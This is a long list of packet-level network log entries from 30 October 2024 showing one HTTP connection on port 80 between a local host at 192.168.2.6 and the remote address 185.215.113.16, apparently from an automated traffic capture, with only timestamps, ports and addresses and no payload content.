Oct 30, 2024 05:24:24.778181076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778199911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778209925 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778243065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778254986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778268099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778311968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778347969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778361082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778377056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778393984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778414011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778414011 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778419971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778440952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778461933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778462887 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778563023 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778601885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778611898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778628111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778650999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778664112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778677940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778688908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.778739929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.778739929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.799813032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.799824953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.799835920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.799848080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.799875975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.799943924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800092936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800178051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800209045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800228119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800231934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800257921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800271034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800281048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800282001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800296068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800307035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800319910 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800331116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800374985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800383091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800383091 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800384998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800396919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800424099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800435066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800445080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800448895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800457954 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800467968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800477028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.800604105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800621986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800638914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800649881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.800698996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.801095009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.801110983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.801127911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.801139116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.801151991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.801189899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.842133999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.850028038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850059986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850070000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850150108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.850229025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850296021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850306034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850316048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850321054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.850337982 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.850361109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850369930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850424051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.850430012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850440025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.850545883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.851391077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851402998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851414919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851438046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.851491928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.851494074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851506948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851517916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851530075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851542950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.851557970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.851578951 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897497892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897516012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897527933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897555113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897567987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897567034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897579908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897591114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897593975 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897603989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897614002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897614956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897628069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897643089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897648096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897666931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897677898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897682905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897682905 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897701979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897713900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897726059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897733927 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897802114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.897814989 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897840977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897850990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897861004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.897977114 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919101000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919118881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919133902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919194937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919194937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919343948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919368982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919384003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919430971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919440985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919446945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919461966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919472933 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919478893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919569969 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919567108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919745922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919784069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919888973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919954062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.919981003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.919986963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920022964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920047045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.920047045 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920134068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920147896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.920166016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920212984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920242071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920277119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920300007 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.920315981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920361042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920386076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.920406103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920427084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.920509100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.924381018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.924393892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.924405098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.924462080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.924462080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.969660044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969712973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969724894 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969750881 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969770908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969780922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969791889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969801903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969798088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.969813108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969825983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969831944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.969836950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969849110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.969852924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.969876051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.969950914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.970808983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970835924 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970845938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970896959 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.970897913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970910072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970917940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970938921 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970957994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:24.970962048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:24.971159935 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.016659975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016697884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016710043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016721010 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016732931 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016746044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016756058 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016762018 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.016767979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016779900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016791105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.016817093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016839981 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.016928911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.016932011 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016942978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016953945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016982079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.016993046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017004967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017009020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.017024040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017035961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017050028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.017050028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.017067909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017092943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.017100096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017117023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017127991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.017137051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.017170906 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038170099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038183928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038196087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038253069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038503885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038522005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038538933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038549900 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038559914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038588047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038611889 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038623095 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038629055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038655043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038671017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038680077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038681984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038783073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038798094 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038809061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038816929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038830996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038881063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038882971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.038901091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038913965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038959026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038980007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.038990021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039000988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039005041 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039020061 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039052010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039155006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039195061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039205074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039217949 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039226055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039249897 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039546013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039557934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039568901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.039623022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.039623022 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.050832033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.088732958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088754892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088768005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088779926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088793039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088804960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088805914 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.088877916 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088890076 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088901997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088905096 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.088913918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088927031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.088967085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.088967085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.089740038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.089751959 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.089762926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.089817047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.089817047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.089912891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.089981079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.090025902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.090086937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.090097904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.090107918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.090115070 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.090176105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.090176105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.108414888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136416912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136437893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136461973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136477947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136490107 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136501074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136513948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136526108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136526108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136539936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136542082 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136590958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136593103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136604071 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136615038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136626005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136636972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136655092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136661053 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136667967 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136672974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136682034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136717081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136728048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136739969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.136743069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136782885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.136782885 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.157449961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157464027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157475948 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157488108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157533884 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.157591105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.157617092 CET	49760	80	192.168.2.6	185.215.113.16
